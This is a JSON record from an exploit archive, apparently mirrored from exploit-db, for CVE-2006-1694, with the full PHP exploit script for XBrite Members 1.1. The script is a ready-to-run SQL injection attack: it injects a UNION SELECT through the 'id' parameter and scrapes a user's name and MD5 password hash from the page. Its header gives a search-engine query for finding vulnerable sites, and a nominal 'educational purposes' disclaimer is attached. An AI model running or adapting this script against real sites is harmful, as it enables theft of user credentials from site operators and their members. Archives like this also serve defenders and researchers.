{"exploit":{"id":"EDB-1655","name":"XBrite Members 1.1 - 'id' SQL Injection (SQLi)","description":"XBrite Members 1.1 - 'id' SQL Injection (SQLi)","cves":["CVE-2006-1694"],"author":"snatcher","published":"2006-04-09","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1655","path":"exploits/php/webapps/1655.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1655.php","vulnerabilities":[{"id":"CVE-2006-1694","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in members.php in XBrite Members 1.1 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1694","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1694"},"updatedAt":"2024-08-07T17:19:49.412Z","retrievedAt":"2026-11-27T03:11:29.864Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1655.png?v=2","url":"https://exploitbin.com/exploits/EDB-1655","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1655/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1655/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php /*\n |=================================================================================================|\n |       _______..__   __.      ___      .___________.  ______  __    __   _______ .______         |\n |      /       ||  \\ |  |     /   \\     |           | /      ||  |  |  | |   ____||   _  \\        |\n |     |   (----`|   \\|  |    /  ^  \\    `---|  |----`|  ,----'|  |__|  | |  |__   |  |_)  |       |\n |      \\   \\    |  . `  |   /  /_\\  \\       |  |     |  |     |   __   | |   __|  |      /        |\n |  .----)   |   |  |\\   |  /  _____  \\      |  |     |  `----.|  |  |  | |  |____ |  |\\  \\----.   |\n |  |_______/    |__| \\__| /__/     \\__\\     |__|      \\______||__|  |__| |_______|| _| `._____|   |\n |                                                                                                 |\n |=================================================================================================|\n\n\n      exploit: XBrite Members <= 1.1 remote sql injection vulnerability\n      release: 2006-04-09\n       author: snatcher [snatcher at gmx.ch]\n      country: switzerland  |+|\n\n  application: XBrite Members <= 1.1\n  description: a php / mysql based member script\n     download: http://www.xelebrite.de\n\t           http://www.clanscripte.net/main.php?content=download&do=file&dlid=179\n  description: if magic_quotes_gpc is Off, you can get each password (md5 hash) with a simple sql injection\n  fingerprint: google -> \"Powered By XBrite Members\" -> 2800\n               msn -> \"Powered By XBrite Members\" ->  581\n   conditions: php.ini -> magic_quotes_gpc = Off\n       greets: all security guys and coders over the world, honkey :>, ..\n terms of use: this exploit is just for educational purposes, do not use it for illegal acts.\n\n\n---------------------------- members.php - line 197 -------------------------------------\n$query = @mysql_query (\"select * from oz_members where id='\".$_GET['id'].\"'\");\n-----------------------------------------------------------------------------------------\n\nbecause magic_quotes_gpc is off, you can break out of the singel quotes and insert malicious sql code,\ni.e. with a union operator.\n\n\n*/\n\n/*********************** CONFIGURATION ****************************/\n\n$PATH_TO_FILE  = 'http://yourhost.com/member.php';                 // in example: http://yourhost.com/member.php\n$USER_ID       = 1;                                                // from which user id do you want the password? default: 1\n$GET_VARS      = '?action=members&act=show&id=';                   // do not change\n$SQL_INJECTION = '0\\' union select 1,1,1,1,1,1,1,1,1,real_name'.   // do not change\n                 ',name,pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,'.\n\t\t\t\t '1,1,1,1,1,1,1,1,1,1,1,1 from oz_members where '.\n\t\t\t\t 'id = '.$USER_ID.' /*';\n\n\n/**************************** MAIN ********************************/\n\n$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\\'t open host!');\nforeach ($file_array as $now)\n\t$html_content .= $now;\n\n$html_content = str_castrate($html_content);\n\npreg_match_all(\"!Alter:</b></td><tdwidth=\\\"50%\\\">(.*?)</td>!\",$html_content,$username); /* gets username */\npreg_match_all(\"!Herkunft:</b></td><tdwidth=\\\"50%\\\">(.*?)</td>!\",$html_content,$password); /* gets password */\n\nif ($username[1][0] && $password[1][0] && $username[1][0] <> 'keineAngabe') {\n\techo 'username: <b>'.$username[1][0].'</b><br>';\n\techo 'password: <b>'.$password[1][0].'</b>';\n}else {\n\techo 'exploit failed! <br>magic_quotes_gpc = Off ?';\n}\necho '<br><br><br><br><br>\n======================================================================<br>\nexploit: XBrite Members <= 1.1 remote sql injection vulnerability<br>\nrelease: 2006-04-09<br>\nauthor: snatcher [snatcher at gmx.ch]<br>\n======================================================================';\n\nfunction str_castrate($string) {\n\t$string = str_replace(\"\\n\", '', $string);\n\t$string = str_replace(\"\\r\", '', $string);\n\t$string = str_replace(\" \", '', $string);\n\treturn $string;\n}\n?>\n\n# milw0rm.com [2006-04-09]","sha256":"6c22203545fc62dee1ebf5c0e6edc45d2ca54d873b59e87a377512eeeebe4f4a","bytes":4027,"fetchedAt":"2026-11-27T03:11:25.510Z","encoding":"utf-8 (display only; download retains original bytes)"}